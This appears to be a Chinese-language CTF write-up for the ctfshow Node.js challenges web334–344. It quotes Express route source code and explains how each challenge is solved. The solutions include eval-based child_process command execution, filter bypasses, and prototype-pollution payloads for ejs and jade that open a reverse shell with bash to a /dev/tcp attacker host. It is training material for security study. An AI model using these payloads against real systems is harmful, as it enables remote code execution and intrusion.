web334
var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
/* GET home page. */
router.post('/', function(req, res, next) {
res.type('html');
var flag='flag_here';
var sess = req.session;
var user = findUser(req.body.username, req.body.password);
if(user){
req.session.regenerate(function(err) {
if(err){
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
req.session.loginUser = user.username;
res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});
});
}else{
res.json({ret_code: 1, ret_msg: '账号或密码错误'});
}
});
module.exports = router;
这是一个基于Node.js和Express框架的路由文件,该路由提供一个POST接口用于用户登录。代码逻辑主要如下: 1. 引入Express库:var express = require('express'); 2. 创建路由对象:var router = express.Router(); 3. 引入用户信息:var users = require('../modules/user').items; 4. 定义一个函数findUser用于查找用户,并返回匹配的用户信息或null; 5. 定义路由POST接口:router.post('/', function(req, res, next) {...}); 6. 在路由POST接口中,初始化请求的Content-Type为html:res.type('html'); 7. 定义flag变量为一个字符串,用于返回给客户端(应该是题目要求的Flag):var flag='flag_here'; 8. 获取Session对象:var sess = req.session; 9. 调用findUser函数查找用户,并根据查找结果响应不同的处理(登录成功或失败): - 如果找到了用户(user存在),则重置Session,将用户信息保存到Session中, 并返回“登录成功”及flag:req.session.loginUser = user.username; res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag}); - 如果未找到用户(user不存在),则直接返回“账号或密码错误”:res.json({ret_code: 1, ret_msg: '账号或密码错误'}); 最后,将路由对象导出:module.exports = router;
在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。
所以用ctfſhow 123456登录就可以出flag了
web335
查看页面源代码
get传参 eval然后执行
require('child_process').spawnSync('ls',['.']).stdout.toString()
发现了里面有fl00g,txt,应该就是存放flag的文件了
构造payload
require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString()
web336
exec和load
还有师傅想到可以用拼接来绕过过滤:
?eval=require("child_process")['exe'%2B'cSync']('ls')
%2B就是+
web337
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}
});
module.exports = router;
?a[1]=1&b[1]=1
web338(原型链污染漏洞)
查看源码
secert.ctfshow==='36dboy'
{"__proto__":{"ctfshow":"36dboy"}}
web339
这里多了一个api.js文件
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});
});
Function(query)(query)这个很奇怪,查了大佬写的知道这个会执行query的命令。,我们可以使用变量覆盖,将query的值作为反弹shell的点。
具体操作:
先连接vps,开启端口监听。
使用vps反弹的一点小问题遇到了和这个博主一样的问题: 之前买过一个北京的阿里云 VPS,打算用来反弹 shell,但是安装了 NC 后发现无法监听某端口,会显示 还有就是要关闭端口的防火墙,不然无法连接 关闭防火墙服务 systemctl stop firewalld.service 查看9999端口 firewall-cmd --zone=public --query-port=9999/tcp |
然后bp抓包,访问/login,实现query值的覆盖,再访问/api来执行query的值。
payload
{"username":"admin","password":"admin","__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/<ip>/端口 0>&1\"')"}}
然后删除payload,将post,后面改成api,再次send即可
回到vps发现连接成功,ls查看
flag在routes/login.js中
web340
login.js源码
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
user对象套了俩层,user里面有个userinfo属性,userinfo的原型是user,user的原型才是object,所以要多加一层__proto__,需要isAdmin为true。
payload:
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/端口 0>&1\"')"}}}
和上面操作一样,反弹shell。
web341
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
};
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
return res.json({ret_code: 0, ret_msg: '登录成功'});
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
});
module.exports = router;
没有api.js了,这道题开启了ejs渲染,用RCE
payload:
{"username":"a","password":"a","__proto__":{"__proto__":{"outputFunctionName":"a; return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/<ip>/端口 0>&1\"'); //"}}}
然后用post随便访问一个js,之后输入env查看环境变量,里面有flag。
web342-343
涉及到jade原型链污染:再探 JavaScript 原型链污染到 RCE - 先知社区
看了其他师傅的方法,但是自己没有弄出来,不知道为啥自己抓的包和师傅们出入很大。
操作大概和上面的题目差不多。
发包的时候请求头中的“Content-Type”改为"application/json"
payload:
{"__proto__":{"__proto__":{"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/vps-ip/port 0>&1\"')"}}}
找flag依旧是env
web344
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}
});
过滤了逗号和逗号的url编码2C,我们用“&”连接三个属性,NodeJS会自动拼接:
?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true}
不过还需要对属性进行url编码,payload:
?query=%7b%22%6e%61%6d%65%22%3a%22%61%64%6d%69%6e%22&query=%22%70%61%73%73%77%6f%72%64%22%3a%22%63%74%66%73%68%6f%77%22&query=%22%69%73%56%49%50%22%3a%74%72%75%65%7d
因为在get之前双引号会被url编码为%22,与“ctfshow”组成“2c”,符合正则。